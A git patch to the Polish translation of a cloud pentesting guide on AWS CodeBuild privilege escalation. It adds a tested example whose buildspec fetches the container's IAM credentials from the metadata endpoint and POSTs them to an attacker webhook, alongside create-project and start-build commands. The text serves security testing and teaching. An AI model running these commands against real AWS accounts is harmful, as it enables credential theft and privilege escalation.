From d6181802c6e369a0d78958f39019b40e7dd8459f Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 8 Jan 2025 20:44:55 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../aws-codebuild-privesc.md | 44 ++++++++++++++++--- 1 file changed, 39 insertions(+), 5 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index b583a8f18..18ea04040 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **podnieść uprawnienia do dowolnej roli IAM Codebuild** poprzez utworzenie działającej. +Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **podnieść uprawnienia do dowolnej roli IAM codebuild** poprzez utworzenie działającej. {{#tabs }} {{#tab name="Example1" }} @@ -133,11 +133,45 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project +``` +{{#endtab }} + +{{#tab name="Example3" }} +```bash +# Generated by ex16x41, tested +# Create a hook.json file with command to send output from curl credentials URI to your webhook address + +{ +"name": "user-project-1", +"source": { +"type": "NO_SOURCE", +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", +"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0", +"computeType": "BUILD_GENERAL1_SMALL" +}, +"serviceRole": "ARN-OF-TARGET-ROLE" +} + +# Create a new CodeBuild project with the hook.json file +aws codebuild create-project --cli-input-json file:///tmp/hook.json + +# Start a build with the new project +aws codebuild start-build --project-name user-project-1 + +# Get Credentials output to webhook address +Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from + ``` {{#endtab }} {{#endtabs }} -**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli AWS Codebuild. +**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild. > [!WARNING] > W **kontenerze Codebuild** plik `/codebuild/output/tmp/env.sh` zawiera wszystkie zmienne środowiskowe potrzebne do uzyskania dostępu do **poświadczeń metadanych**. @@ -184,7 +218,7 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` -**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli AWS Codebuild. +**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli AWS Codebuild. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -264,7 +298,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dołączonych ról AWS Codebuild. +**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild. ### SSM @@ -285,7 +319,7 @@ A następnie: aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` -Dla uzyskania dodatkowych informacji [**sprawdź dokumentację**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`